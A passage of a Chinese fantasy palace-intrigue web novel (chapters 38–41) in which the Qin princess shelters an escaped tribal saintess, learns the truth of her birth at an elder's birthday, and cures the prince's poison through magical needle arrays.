安管事的视线在二位主人身上来回游动,一脸幽怨。
“惊风留下。”瞿昙咳嗽起身,往门外走。
今夜闯入小院那女子身份不简单,留下惊风以防生变。
宋檩没有拒绝,朝林歌使了个眼色,往关押黑衣女子的耳房去。
黑衣女子睁眼见到坐在椅子上的人,挣扎着从地上起身。她揉了揉发麻的胳膊,一脸好奇地打量宋檩。
“你是谁?这里是何处?”
惊风抱刀站在宋檩身后,被她的话逗笑,“这位姑娘好生奇怪,你闯了秦王府的地盘却反问主人是谁。”
“这里是秦王府?”别的人她不认识,昭国秦王还是知道的,原来竟到了秦王府。
她面上一喜,走到桌子边的椅子上坐下,摸着空空如也的肚子,可怜兮兮地看着宋檩,“有没有吃的,我好饿。”
惊风:“……”这套路不对啊?
“去拿些吃食来。”
王妃发话,没有不从的道理,惊风出门拿东西。
待她一脸餍足地摊在椅子上,宋檩嗤笑,“现在可以告诉我你的身份了。”
黑衣女子眉头一挑,看向她的眼神里多了些探究,“我被人追杀,并非故意闯入秦王府。”
“破坏了你的阵法,很抱歉。”她起身给宋檩鞠了一躬。
宋檩留意到她腕间的镯子,“不是一句道歉就能解决的事情。”
“你的仇家定会把这笔账记在秦王府头上,我又不认识你,凭什么白白替你背锅?”
“惊风,去外头找……”
“别呀!”她倚门拦住惊风的去路,“秦王妃,有事好商量嘛!”
宋檩斜了她一眼,“你最好老实交代。”
黑衣女子眼眸滴溜溜转动,突然计上心头,“我叫木九儿,是……秦小王爷的故人!”
惊风瞪大了眼睛,“你胡扯,我家王爷根本不认识你!”
他看向宋檩,担心王妃因此误会了王爷,恨不能立马将王爷请过来当面对峙。
宋檩面色平静,完全没有被她的话影响,略微颔首,“既是王爷的故人,便先在王府住下,惊风,你去找安管事,给木姑娘收拾个院子住下。”
惊风眉头紧皱,不明白姑娘为何留下此人。
惊风带人走后,林歌关上了院门,刚才发生的事情仍叫她一头雾水。
“姑娘当真信那木九儿的话?”
宋檩打了个哈欠,自然是不行的。若是故人,见面不可能毫无反应,二人在小院的反应完全就是陌生人。
不过这个木九儿能识破她的阵法,二者定然有渊源。看她那样子,对秦王府应当也有所了解。
留她一命有大用处。
“她既打定主意要留在王府,定是有所图,与其日夜提防,倒不如放在眼皮子底下叫人放心。”
“你多留意。”
林歌点头,深以为然。
38. 老太君生辰
此时的鸿胪寺,白王正在大发雷霆。
“连个女人都看不住,本王养你们这些人有何用!”得知木九儿不见的消息,白王气得差点把看守的人全部砍头。
木九儿是他费了好大劲才弄到手的,若非不放心送回王庭,怎么冒险带来昭国?
本以为到了中都就安全,外面的人没抢走,竟然在自己人手里出了纰漏!
板楯部落彪悍英勇,战无不胜。待他稳住昭国,有板楯人相助,何愁王庭易手?
若让那女子逃回去,他绑架板楯圣女的事情必定败露,到那时就棘手了。
“王爷息怒!”忠心的护卫跪了一地,他们明白那个女人意味着什么,恨不得立马把人抓回来。
白王冷冷的视线盯着他,“息怒?你来告诉本王,要怎么息怒!”
“我等这就去找人。”
“找?你想怎么找?这是大昭京都!咱们的一言一行都在监视之下,还能掀了中都不成?”
“请王爷息怒!”
护卫们跪了一地。
茹素一回来就觉察氛围不对,找人问了一下,才知丢了个人。她挥手让人都下去,跪在地上的护卫们如获大赦,起身往外跑。
见来人是她,白王的脸色好了些。
“茹素回来了。”
她寻了个座位坐下,“听说哥哥养的那只宠物跑掉了?”
王庭子嗣较多,他们有二十多个兄弟姐妹,一母同胞的却只有兄妹两人。他们母亲去世得早,这些年全靠彼此扶持,才能得到父王的重视。
“不提那些烦心事,说说,你这趟有什么收获?”
茹素说着打听来的事情,“对了,明日汪家老太君寿辰,汪家给我递了请帖,哥哥可要跟我一起去?”
集会是最适合打探消息的地方,白王把这事看得很重,“你初到中都城,将来也许在这久留,结交一些朋友是好事,寿辰可以一去。”
“哥哥不去吗?听说秦王妃也会参加。”
听到宋檩也去,他眼睛一亮。有些日子没见面了,倒是个可人。
“明日哥哥跟你同去。”
茹素知他对秦王妃的心思不简单,只是眼下得罪秦王府不是明智之举,她犹豫再三才开口。
“我听闻秦王妃会些旁门左道,就想到了那个女人,哥哥或可试探一二。”
白王两眼一眯,赞赏道,“哥哥有分寸。”
他摁住茹素的肩膀,心中百感交集,“茹素,等事成,哥哥定风风光光接你回王庭。”
茹素脸上堆满了笑,“大昭虽比不得草原自在,但只要哥哥能做主,我的日子就不会太难过。何况这是两国联姻,昭皇必不敢亏待了我。”
若是在草原,父王指不定会将她许给部落的老男人。与其那样,还不如留在昭国,还能帮助哥哥,她已经知足了。
白王怜惜她的懂事,将她搂在怀里,千言万语都融化在这个拥抱中。
汪家老太君是今上即位后敕封的第一个诰命夫人,宫里送了赏赐,京中各家也都来捧场,相当有排场。秦王府马车到时,汪明飞携夫人庾氏亲自出门迎接。
“下官携拙荆恭迎秦王妃大驾!”他拱手候在一旁,等待宋檩出现。
林歌先从马车下来,随后打开车门,伸出一只手接里边的人。
“姑娘当心脚下。”
宋檩的服饰并不华丽,妆容素雅,与在场的贵女妇人们比起来,并不起眼。但头上的青鸟对簪却极其惹眼。
她也是后来才知,这青鸟对簪是秦王府的传家宝,京中无人不知,怪道文献礼仅凭一对簪子就认出她来。
“汪府尹不必多礼,老太君是圣上亲封的诰命夫人,我自然要来讨个好彩头。”她不骄不躁,态度极好,把自己的姿态摆得很到位。
汪明飞受宠若惊,“礼不可废!”
他转身交代了几句,亲自领着宋檩去会客厅。
刚到会客厅,几个夫人前来请安,宋檩一一还礼。
“秦王妃,我们又见面了。”茹素公主跑到她跟前,笑得一脸无害。
宋檩实在不明白她一个公主为何总黏着自己不放,碍于身份,只能笑着回礼。
“公主初来大昭,若有照顾不周到的地方还请见谅。大昭与草原不同,公主可多待些时日。”出于礼貌,她说了几句客套话。
也不知是胡人的脑子比较直,还是她刻意为之,茹素眼睛一亮,笑着抓住她的手,一脸欢喜,“那我是不是可以去找你玩?秦王妃久居中都,可愿做我的向导?”
这话一出,在场的人集体噤声。这个胡人公主,也太心直口快了吧!竟想要堂堂秦王妃给她当向导?
秦王府兵权在握,太子承王都想着法子拉拢,今上更有重用的打算,她一个异国公主,此时攀交算哪门子的事?
宋檩看着她只笑不说话,茹素公主这是在给她下套啊,太不厚道了。
“见过秦王妃。”庾氏闻声赶来,给二人分别见礼,“茹素公主见谅,我家老太君请秦王妃过去喝茶。”
茹素眉头轻挑,却没有动作。
宋檩不着痕迹地抽出自己的手,转身笑道:“既是老太君有请,茹素公主请便。”
庾氏歉意地看了一眼,叫过自己的女儿,“这是小女不弃,她会带王妃去见婆母。”
汪不弃上前来,咧嘴笑道:“秦王妃,请随我来。”
宋檩乐地离开,安管事说过,汪府的老太君跟老王爷是旧识,见一面,也算是维系这份交情。
“汪姑娘为何一直看我?”感觉到对方的视线,宋檩目不转睛道。
偷看被发现了,汪不弃有些窘迫,面色发烫。平日里听过不少秦王妃的传闻,适才打量的时候有些走神,也不知秦王妃会不会觉得自己是个孟浪人。
她小脸红扑扑的,“我只是觉得秦王妃和传言不大一样。”
宋檩来了兴致“哦?传言我是个什么样的人?”
汪不弃是性情中人,见她这般问,也不再忸怩,“外面都说秦王妃被太子退了婚,无才无德,才被皇上赐给了秦王府。”
“汪姑娘慎言,我家姑娘不与你不计较,但教有心人听了去,难免惹上是非。”林歌低声提醒。
她能感觉到汪姑娘不是那等心怀叵测的人,反倒第一印象很好。但她是姑娘的人,就容不得旁人败坏姑娘名声。
“你误会了,我没有要败坏秦王妃名声的意思。”汪不弃停下来为自己辩解。
林歌还想说什么,被宋檩拦下来。“汪姑娘也说那是外界传言,不必放在心上。我信汪姑娘不是那等人云亦云之辈。”
汪不弃受宠若惊。
“秦王妃怎么知道?”问完后她才觉察不对,捂着嘴面露尴尬。
宋檩并不在意,“自然是你自己告诉我的。”
汪不弃满头雾水,她靠近了些,直接问出来,“我第一次见王妃,也没有说什么啊?”
宋檩指了指自己的眼睛,“一个人的嘴可能会谎话连篇,但眼睛不会,你的眼睛告诉我的。”
她抓了抓后脑勺,有些窘迫,“秦王妃,
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我能问你一个问题吗?”
宋檩点了点头,示意她问。
“王妃难道真如外界传言那般,会些旁门左道的东西?”她抓耳挠腮,怪不好意思。
林歌扑哧一笑,“汪姑娘,别说我家姑娘,就是我也能看出你的心思。我家姑娘拿你当朋友,才会这般说。”
汪不弃惊喜地看向宋檩,一脸期待,“王妃当真愿意拿我当朋友?”
宋檩抿唇一笑,“我的朋友不多,你没什么心眼,人也直爽,我们应该会合得来。”
“那我岂不是和秦王妃成为朋友了!”她惊叫出声,整个人沉浸在喜悦中。
“汪姑娘,我记得我们要去老太君的院子。”宋檩摇了摇头,她被家人保护得太好,还是小孩子心性。
汪不弃才想起母亲交给她的任务,忙带着人往老太君院子去。一路上她都和宋檩并排着走,还不忘介绍府上景点。
终于到了老太君的院子,宋檩才觉耳朵清净。
“祖母,我把秦王妃带来了!”刚到院门口,她就迫不及待喊出声。
宋檩跟随后边进门,见到被人搀扶出来的老太君,躬身行礼。
“秦王妃不必行礼,”老太君一把托住她的胳膊,将人扶起,“老身跟老王爷还算有几分交情,不必如此拘礼。”她满头白发,华服在身上尽显富态。
“老太君是长辈,宋檩是晚辈,这个礼应当要的。”宋檩笑着走过去。
老太君拉着她的手左右打量,“你出嫁时老身没有过去,可有怨怪?”
宋檩摇头,“老太君这是哪里的话?且不管旁人怎么说,我知老太君不会相信。且那时老太君身体抱恙,久居床榻。您有这份心意,晚辈已是感激不尽。”
老太君见她言行有度,越发满意,心中暗暗不满外界的传言。这位老国公身边长大的姑娘就很好嘛,被那些不知情的人传成了什么样子!
“祖母,不如请秦王妃进屋好好叙叙?”汪不弃了解自家祖母,知她是个性情中人。感情到了立马抒发,完全控制不住,她必须在还没开始前扼杀。
老太君擦掉眼角的泪,慈爱地笑了笑,“瞧我,人老了记性就不好喽,多亏了这丫头!”
她指着古灵精怪的汪不弃,故作嗔怪道:“你这丫头最是机灵,可得好好提醒老身。秦王妃虽不在乎那些繁文缛节,但咱们汪府也不得怠慢了人家!”
汪不弃恭恭敬敬地拱手,“祖母放心,孙女一定谨遵教诲,时刻提醒您!”
宋檩做了个请的手势,随她一同进屋。
到了屋里,宋檩才发现,老太君是真不把她当外人。直接让人在右手边添了把椅子,拉着她的手坐下。
“你既认老身这个长辈,我便倚老卖个老。老王爷不在京城,秦小王爷担子重,你的担子可不好担。”
宋檩心思回转,想起了并不遥远的事情。这偌大的京城,她找不到几个可以说真心话的人。
人心的成见太深,她的名声太臭,能有个愿意相信自己的外人,已经是荣幸之至。
“老太君今日的肺腑之言,晚辈铭记在心。这些年爹爹忙于朝政,娘亲又去得早,您是第一个指点我的人,请受宋檩一拜。”话落,她起身给老太君行礼,那礼胜过师生,又在祖孙之下。
宋檩以为,老太君大概是想要告诉自己一些事情。
老太君很满意她的态度,拍了拍她的手,“好孩子,陪老身走走吧,透透气也好。”
她遣退了下人,嘱咐林歌添一件衣裳。说是如今风凉了,担心她受寒。
39. 换身份真相
两人相携走在汪府的内院,丫鬟们大多去了前院会客厅,后院倒落得个清静。
宋檩也不着急,索性今日是老太君的寿辰,一切以她的开心为重。
老太君领着她在湖边走了一圈,到底年纪大了,又久卧床榻刚醒,腿脚不大利索,宋檩搀扶着她。
“唉,人老了,不如你们年轻人喽!才走没几步就喘上了。”她自嘲地摆了摆手,指向一旁的假山。
那是个极隐秘的位子,走近了才发现凳子。
宋檩扶她坐下,替老太君捏肩膀,“老太君久病初愈,必定是享福的。”
“你到我身边来,老身有话给你说。”老太君抓着她的手,示意她在身边坐下。
宋檩也不扭捏,直接在老太君身侧的石头上坐下。“老太君有什么话可以直接说。”
老太君抬手摸了摸她的头发,一脸慈爱,“老身第一次见你的时候,才这么大一点,”她拿手比了一下,继续开口。
“那时的你娘早产,你父亲抱在怀里不敢动,担心你身子太弱长不大。”
宋檩心里一阵翻涌,酸涩感直往眼眶去。她是个早产儿,宋明书并没有说起过。
她垂着脑袋,掩下眸中神色,“老太君知道我的身世……”
她的话还没说完,老太君已经点头,笑着看向她,“这件事情我当时就在场,也算做了个见证。”
“当年你祖父料定外戚太强会动摇国本,大力引荐侨姓士族入仕,以此削减陆薛两家势力。”
“却导致国公府威视过高,被有心人利用,引得圣上猜忌。”
“文卿跟你娘月份相近,她的产期一到,你娘不得已催产……你就成了早产儿。”
“只是没想到祸事来得那么快,你还没到五岁,国公府就……偌大的国公府只剩下了你一人。”
早就知道国公府一事跟老皇帝有关,还是她第一次听到知情人士的陈述,这么说来,此事背后还有陆薛两家的手笔。
既如此,往后对他们也没必要手下留情。
老太君见她久久不语,担心她心有怨恨,“你祖父性子刚烈,又是头倔驴,从不信什么身死道消,只是苦了你这孩子。”
宋檩明白她的意思,不希望自己记恨祖父,剥夺她国公府后人的身份,却给了她活下去的人生。
只是……若国公爷知道自己的亲孙女已经不在人世了会作何想?
陷入痛苦的回忆里,宋檩有些难过,但更多的是找出真相的决心。
“老太君不必介怀,既然祖父希望我活下去,我就会活得堂堂正正,绝不会辜负他老人家的一片苦心。”
老太君喜忧参半,欣慰她没有怪罪国公爷的自私,又担心她知晓身世后陷入危险。
“胡人公主既是和亲,就不可能进秦王府,你不必太过忧虑。”
“不过,还是得防着些,白王是她的亲兄长,她如此在你跟前献殷勤,必定有所图。”
这话宋檩是相信的,她已经了解过。茹素兄妹在草原上的叱咤风云并非与生俱来。两个没有母亲的王室中人相携走到今天,绝不简单。
“宋檩谨记老太君指点。”
知她明了,老太君拉着人起身,“我们出来有一会儿,该回去了,否则一会儿不弃那丫头又得埋怨我了!”
“汪姑娘是个性情中人,我倒是很喜欢。”宋檩扶她起身,毫不吝啬对汪不弃的夸赞。
她心地善良,且善恶分明,是中都城不可多得的贵女。
知晓她对自家亲孙女的评价,老太君嘴上不说,心里却是高兴的。
“这丫头打小身体不好,老身也不放心她到处跑,一直养在膝下,难免有些没规矩了。”
“老太君教导出来的姑娘,规矩自然不会有差。”
汪不弃见两人相携走来,有说有笑的,提着的一口气终于放下。她小跑过去,挽住老太君的另一只胳膊,“祖母好生偏心,见了秦王妃就不喜孙女了!”
“瞧瞧,还学着争起宠来了,哪次不是你兄长让着你!”老太君指着她,一边打趣一边作势骂她。
在场的人都忙着恭维老太君,说起奉承话,一会儿时间,院子上空充斥着欢喜笑声。
老太君到底年纪大了,用过午饭就去歇息,宋檩给庾夫人告辞后离府。她走得很低调,却没想到刚出府就遇上了茹素公主,显然是在等她!
林歌凑到她跟前低声询问,“姑娘,要不要属下去把她打发了?”
对这位茹素公主,她实在喜欢不来。虽然同情她和亲公主的命运,但也不该时时想着利用别人。
宋檩否定了她的想法,“罢了,拒绝这一次,还有下次,下下次,总不能每次见了她都跟老鼠见了猫似的躲着。”
今天把她打发了,难保明日不会登门拜访,她算看出来了,茹素公主就是个为达目的誓不罢休的人。
宋檩也没有躲避,迎着她走去。
“秦王妃!”见她走来,茹素高兴地小跑过来。
刚才的话被府尹夫人打断,她好一阵遗憾。打听清楚秦王妃回府的路线和时间,她可是专门在这里等候着的。
宋檩故作不清楚她的目的,“茹素公主,真巧啊。公主这是又要去哪儿玩?”
茹素眸子微闪,脸上浮起一抹红晕,“本公主……是专程在这里等秦王妃的。”
宋檩眸子一挑,“哦?公主竟是在等本妃……有事吗?”她故作不知,却让茹素尴尬了。
“我……我就是想问问,秦王妃有没有时间……不过看来秦王妃这么忙,大概是没有时间了。”她垂下头,一脸落寞。
若不是宋檩早将她调查得一清二楚,真要被这演技给骗了去,演得也太到位了吧!
林歌抓住机会走上前,语气很平淡,“我家姑娘要打理偌大的王府,还得在各府走动,实在是忙不过来。”
茹素听罢毫不在意地摆手,“我知道秦王妃很忙,那茹素就不打扰了,告辞。”
林歌看着骑马离去的人,眸子微眯起。
“姑娘,这可不像她的作风。”茹素公主纠缠姑娘有些日子了,不达目的誓不罢休的人,这么轻易就放弃了?
宋檩淡笑,嘴角露出一抹狠厉,“兵来将挡水来土掩。”
林歌知今晚姑娘便要给王爷解毒,一路上想着法子逗她开心。两人聊着聊着就说到了汪不弃身上。
“属下有些奇怪,今日老太君生辰没见到汪家公子的身影。”早就听闻汪家兄妹情谊深厚,她还想见识一番,哪知今日就没露面。
宋檩才想起汪不翡这号人物,今日确实没见着。
“他在禁卫军当值,想是有事耽搁了。”
林歌点头,“汪公子虽不羁了些,对汪姑娘确实极好……”她说起了给汪不弃寻夫家一事。
原来汪家人觉得汪不弃身子不好,嫁入夫家会被遭嫌,打定主意让她下嫁。汪不翡是个死心眼,觉得对方必须武功过关,才一心想行军。
宋檩听
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完哭笑不得,兄妹关系好是一回事,但他堂堂京兆府尹的公子,没必要拿前程开玩笑吧?
“下嫁是汪家的意思还是汪姑娘的意思?”事关汪不弃,宋檩不免有几分上心。
林歌靠近了些,低声道:“据说汪姑娘有一回去寺里上香被几个地痞拦了路,恰巧禁卫军的一位中郎将路过,救了她一命。”
“汪姑娘是个重情义的人,便提出嫁给那位中郎将。此事汪家也是同意的,因那中郎将非京中人士,才算下嫁。”
宋檩明白过来,也有些好奇那位中郎将。
“什么人?”
二人正聊得欢,一道黑影突然窜近来,林歌拔刀相抵。
对方没有抵抗,落在宋檩对面,竟是木九儿。
宋檩示意她收刀,打量起木九儿的着装,“木姑娘穿成这样做什么?”
木九儿两手环胸,郁闷地倚靠着马车,“别提了,我想出城,大街上到处是官兵!”
她被人绑进城来,根本就没有那劳什子路引,只能跟个过街老鼠似的到处躲藏。
想她堂堂圣女,何时受过这般屈辱?
“到了秦王府就安心住下,城中戒严,你出不去。”宋檩懒得搭理她,闭目养神。
木九儿把目光转向她,不死心追问,“秦王妃,我与秦王是故人,你一点都不嫉妒?”
宋檩觉得好笑,想通过离间她和瞿昙的关系,以达到自己出城的目的,计谋不错,只可惜,她完全不在意。
“木姑娘可不要拿小人之心度君子之腹。”
“王府人丁稀薄,若木姑娘能开枝散叶,本妃乐意之至。”
“再则,木姑娘虽是故人,王爷认不认还另说,我却是圣上亲赐的秦王妃,为何嫉妒你?”
木九儿被她一番话堵得哑口无言。
此路不通,另寻他法!
她抓住宋檩的胳膊,收住笑,语重心长道:“王妃不好奇我为何闯入那座小院吗?”
宋檩缓缓睁开眼,扭头看着她,总算说到她感兴趣的点上了。
木九儿看了眼林歌,见她毫无动静,拿过杯子茶壶给自己倒了杯茶水,“聚灵阵。”
她手撑着下巴,探究的眼神直勾勾注视宋檩,“王妃想做什么?”
“我不明白你在说什么。”宋檩嗤笑。
“那我换个王妃明白的方式。”她举起茶杯,不知使了什么手段,那杯子竟悬在空中不掉落。
一炷香后杯子掉落在地,杯中空空如也。
“茶呢?”林歌惊讶出声。
木九儿朝她笑了一下,“别急,看这是什么?”
林歌发现杯中的茶水竟在她手里如雾般流动,颠覆了她的认知,“太不可思议了。”
得到夸奖的木九儿很是得意,“只不过是个小小的聚灵阵,跟你家王妃比起来算不得什么。”
林歌看自家姑娘的眼神立马变了,她知道姑娘厉害,但不知到底有多厉害。
“我确实不知什么聚灵阵,但你这小把戏……”说罢,手轻轻一扬,那些茶水瞬间消失,她吹了吹手指,轻蔑一笑,“不过如此。”
“秦王妃果然厉害!”木九儿一脸崇拜地看着她。
宋檩哼了一声,“别以为说点好话我就会帮你出城。”
“老实待着,过段时间再想法子送你出去。”
木九儿原本不抱希望了,听到这话,脸色瞬间好看,“王妃大恩大德,待小女子回家,定日日请香祈福!”
40. 鬼门十三针
回到王府,安管事告知黎樾和桑无疾已到如苑,宋檩把木九儿打发走,紧了紧氅衣,才觉今天尤其冷。
“姑娘,属下能做什么?”林歌终于问出憋了一路的话。
宋檩踩着路上的鹅卵石,捂紧了外衣不让风往里钻,“你即刻去趟廷尉府,让林武过来。”
林歌拱手退下。
惊风和常齐迎面走来,见了她行礼。
“你们这般是要去做甚?”二人这严肃的模样,不知道的还以为大敌当前。
“王爷命属下在小院周边布防。”惊风拱手,说了自己从如苑领来的任务。
宋檩笑了,“你家王爷这是不放心我还是防着谁?”
“王妃说笑了,王爷防着谁也不能防着您呐!”惊风嬉笑出声。
“你们跟我走。”她二话不说,直接把人又带回如苑。
惊风和常齐都是人精,在违抗命令和听王妃的话之间,稍做犹豫就选择了后者。
如苑三人见去而复返的惊风和常齐,视线齐刷刷落在宋檩身上。
“惊风和常齐,一人负责守住通往后山的所有路段,禁止任何人靠近,一人负责看住木九儿,以防生变。”
“王妃解毒,我们不能在场?”黎樾最先提出异议。
为了今天这场大开眼界的场面,他做了太多准备,若不能亲眼看见,岂非此生一大憾事?
“黎樾神医自然得在场,我需要你来针灸。”
听到自己可以现场观摩,黎樾拍了拍胸脯。
桑无疾又想到新婚夜那晚的画面,胃里一阵翻滚,算了,他见不得那样的大场面,就不去凑热闹了。
他清了清嗓子,“王妃还有什么吩咐?”
“吩咐谈不上,我与王爷会在小院住几日,府里的事情还得麻烦桑公子挡一下。”
“好说!”他眉头一扬,摇着扇子爽快应下。
宋檩眸子微动,想到难缠的茹素公主,交给他去忽悠吧。
惊风和常齐进行了分工,最后惊风负责看住木九儿。论武力值他自然不在话下,木九儿绝不会跟他硬碰硬。
她解下腰间荷包,扔到惊风手里,“她若要硬闯,把这个给她。”
惊风受宠若惊,“多谢王妃。”
瞿昙的视线落在那个荷包上,眸子暗沉,“各自准备,晚膳后就位。”
宋檩转身欲走,想到什么又折返,在圆桌边的凳子上落座,撑着下巴把玩桌上的茶盏。
难得见她来这个院子,瞿昙暗暗打量桌边的人,心思早不在兵书上。
见她频频叹气,又什么都不说,瞿昙拗不过,合上书本走了过去,“王妃如此叹气,可是亏待了你?”
宋檩眼神骨碌碌转动,两手交叠立起身,“王爷,有件事……我得先给你摊牌。”
“什么事这么严肃?”瞿昙奇怪地看了她一眼。
“就……”宋檩眼神闪烁,不敢正视他的眼睛,“我解毒异于常法,会有些奇怪的事情……”
瞿昙倒了杯茶给她,“能有什么事比我的毒解了还奇怪?”
还挺有道理,宋檩很认可他的话。
她的视线在瞿昙身上游走,惹得他怀疑自己今日的穿着,“本王身上有什么不对劲吗?”
宋檩摇头,“别穿太复杂的样式,我可懒得帮你脱。”前几次非常不好的体验让她刻骨铭心。
很快她意识到不对,这话怎么越听越不对劲?好像她对人做了什么似的。
还有,他那是什么眼神?
被他看得心里发慌,宋檩弹跳起身,寻了个借口跑出院子。
夜幕降临,弯月高悬,撒了一地银霜,交代完林歌和林武的事情,宋檩裹着厚重的氅衣往后山去。
她赶到的时候,黎樾和瞿昙已经等在那。
“王妃,一切准备就绪。”黎樾见了她,迎上来回话。
宋檩打量坐在一旁的瞿昙,他倒是听话,身上没太多装饰,腰间只一条系带松垮绑着。
瞿昙明白她的意思,轻笑一声。
“王妃,我需要怎么做?”黎樾的心思全扑在解毒上,根本没留意到两人的不寻常。
宋檩清了清嗓子,故作没听见,“黎樾神医,在王爷的身上扎下十三针。”
黎樾手一抖,尖细的银针在月光下发出锋利的光,不可置信地抬头,“鬼门十三针?”
“没错。”宋檩面无表情。
他捏了捏手里的银针,呼吸有些沉重,看向瞿昙的眼神也多了几分担忧。
后者却跟没事人般坐在那,等着他下针。
“王爷,我要开始下针了。”说完,手上动作快狠准,对着穴位扎下去。
宋檩也没闲着,匕首划过掌心。黎樾每下一针,她就往那个地方滴上血。下完十三针,黎樾发现掌心额上都是汗水。
“王妃……”他一抬头发现宋檩的异样,还没说完的话彻底忘在了肚子里。
只见宋檩一头长发披在身后,利眸如鹰隼般锁住每一根针,手在他头顶上游动。
“退后。”
黎樾想也没想,踉跄着后退,平日里最珍惜的药箱都顾不上拿。
不知过了多久,椅子上的人早已昏迷,银针根部的血液彻底不见,她才收手,绕到男人身前,三下五除二拔掉他的衣物。
指着他胸口那处已成黑色的皮肤,“往这儿扎。”
黎樾选了根最粗的银针,狠狠刺进那处。他不敢刺太深,“王妃,这个深度可行?”
“可以。”宋檩点头。
突然间,她的手往虚空里一抓,小院顿时起了狂风,竹林沙沙响,叶子簌簌往下落。
黎樾被落叶逼得睁不开眼。他拿袖子挡着扑面而来的竹叶,大喊出声,“王妃,可还要我做什么?”
宋檩腾起一只手,口中念念有词,直往他身上打去。
黎樾还没看清发生了什么,只觉一股劲风往他身上打来,整个人被席卷到院子外。
裹挟而来的还有宋檩的声音,“三日后再过来。”
与此同时,天一街最繁华的青楼悠然居座无虚席,花魁莲心怀抱琵琶,在欢呼声中上台。
台下公子哥们扯下腰间钱袋子往台上扔。场面热闹,濒临失控。
一个身着
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湛蓝色锦缎的公子哥儿拨开人群摇摇晃晃往台前凑,嘴里不时发出高呼声,满脸涨红,眼神虚空无主,明显是喝高了。
被他拨开的人看清长相默默挪开,不敢起冲突。
眼见就要到台前,不知被谁绊了脚,身子不受控制地扑向一边。
他本能地抓住桌沿,却打翻了桌上茶具。
这桌客人腾地站起身,一脚踹在他胸前,“狗杂碎,没长眼睛啊?”
这一脚下去,醉酒的人清醒大半,晃了晃脑袋,看向他的眼神变得狠戾,抄起地上的茶杯残片就往他脸上划。
“啊!”一声刺耳的尖叫打破悠然居的热闹。
“我的眼睛……”他本就生得大肚便便,捂着眼睛在地上打滚的样子有些滑稽。
事情发生太快,家丁意识到自家公子受伤,反应过来后上前扶人,都被推倒在地。
众人见到他指缝间渗出的血倒吸一口凉气,才后知后觉出了事,都四下逃窜。
“敢伤我家公子,快,把他抓住!”
霎时间,悠然居的大堂乱成一团,台上花魁见势头不对,赶忙下去喊人。
得知侯卫使家公子和怀远伯公子打成一团,悠然居的老鸨差点两眼一闭倒过去,跑到大堂劝阻。
“哎哟,两位公子这是闹哪般呀?我这悠然居是小本买卖,可得罪不起二位呀!”她一边拉架,一边叫护院拉人。
一个是皇亲国戚,一个是天子近臣,这二位祖宗说什么也不能在悠然居出事。老鸨拔高了音量,“还愣着干什么?快将人拉开!”
怀远伯老来得子,生怕在哪磕着碰着,走哪都有一大堆家丁跟着。侯聪落单,她赶紧使眼色,叫把人拉出去。
今日哪怕是把这二位爷得罪了,也断不能在悠然居出事!至于除了这里发生些什么,她就管不了了。
不知是醉了酒还是被打得狠了,侯聪蜷在地上呻吟,脸上没一处完好的皮肤。
家丁们见状停手,护着自家公子离开。
老鸨忙让人叫了马车,把侯聪弄上马车送回卫使府。
看着远去的马车,她悬着心的才终于松懈下来,理了理鬓发,扭着身子进屋,“扰了大伙儿的兴致,奴家给各位爷赔不是。今日所有酒水打折!”
悠然居里姑娘的身段在中都城数一数二,花魁莲心的一手琵琶更是精妙无比!就是酒水偏贵。
难得今日老鸨大方,说什么也要听上一曲!
“打几折呀?少了咱们可就走人了!”有人高声起哄。
老鸨见大半人已经到了门口,果断伸出一只手,出声留客,“五折!必须五折!”
悠然居的老鸨出了名的抠门,以往大家都私下吐槽。有一次被她传到她耳朵里,不仅没生气,还说什么“一分钱一分货,这儿的姑娘别处根本没有”之类的话。
偏生别处还真找不到比悠然居更好的姑娘,众人只能骂骂咧咧得来。难得今日大方,原本到门口的人又折返,寻了干净的桌子坐下。
老鸨见客人转身,忙招手让莲心上台,叫护院们全留在大堂,留意四下动静,切不可再发现先前的事情。
41. 聚灵阵解毒
王府中人各司其职,觉察不出异样,终于战战兢兢熬到了最后一个时辰。
木九儿被秦王府拜为上宾,住在独立院落,四个婢子随侍,日日好吃好喝招待,她也不出门,过着神仙般的日子。
忽地,后山方向传来一道异光,把漆黑的夜空划得铮亮。
她丢下手里的糕点,踹开窗户跳到院子,欲出院门往后山去。一把长刀拦住她的去向。
“夜深了,木姑娘该就寝了。”惊风面无表情挡在门口。
这样的场面已经不知道是第几回了,每次她想偷偷溜去探个究竟,总被这个讨厌的侍卫发现。
木九儿叉腰与他对峙,“你叫惊风是吧?”
“木姑娘有何吩咐?”惊风收起刀退后两步,攥紧了手中荷包。
木九儿的视线落在他手中荷包上,那东西她太熟悉了!瞪了他一眼,兀自回到屋里坐下。
她看向杵在院子里的惊风,冷笑一声,“木头,别怪我没告诉你,就刚才那动静,有人得出事。”
背对她站着的惊风眸子忽动,身子却未移动分毫。
王妃说过会解了王爷的毒,还说时辰未到任何人不得靠近,他绝对相信王妃的本事。
木九儿是个闲不住的,见他毫无动静,气不打一处来,来到他跟前指着鼻子骂,“我说你这人,怎么一点不关心人呢?”
“好歹秦王妃是你的半个主子,如今生死未卜,你们倒是沉得住气。”
惊风眉头紧皱,看向她的眼神带着不耐烦和警告,“木姑娘,王府待你如上宾,自认没有亏待你,你为何如此诅咒王妃?”
木九儿被他气笑了,指着后山小院方向,“若我没猜错,秦王妃是打算借聚灵阵给秦王解毒,你可知此阵法对人伤害多大?”
惊风心下暗惊,给王爷解毒一事是秘密,王府内知晓的人并不多,何况是一个才来几天的外人,她如何得知?
“你不必如此防备,我对你们的事不感兴趣!”木九儿气急败坏。
闯入秦王府本就是意外,若非聚灵阵,她也不会知道大昭竟有人跟她们的阵法同宗同源。
“还是那句话,再等下去,秦王妃就没命了。”说完,她转身进屋,懒得再费口舌。
眼下王爷王妃都不在,又事关王妃性命,不管她的话是真是假,都必须采取措施。
惊风跑去找桑无疾和黎樾,把事情来龙去脉简单说与他二人听。
桑无疾沉默,看向黎樾,等着他拿主意。
“别看我,还有一堆事等着我呐!”他扔下手里的扇子,一脸不耐烦。
黎樾起身,“算算时辰也差不多,我先去小院看一看。”
木九儿与王妃颇有渊源,虽说看上去有些不靠谱,却也不像是会拿性命开玩笑之人。
小院里确实出了点状况。
替他解毒之前,宋檩考虑不周,只想到了毒,忘了瞿昙本身武功深厚。在施展阵法时,聚灵阵调动了他的内力。
原本三天的时间,结果才过去两天人就已经醒来。
她没想到阵法会连同他的内力一同抽出来,好在发现及时,补救还算不晚,就是苦了自己。
同时操控几种阵法的高强度下,宋檩的体力严重透支。
奈何身边毫无懂阵法之人,以防伤及瞿昙,她不得不将所有伤害转嫁到自己身上。
这最后一击差点要了她的命,也就是方才那一束强光。
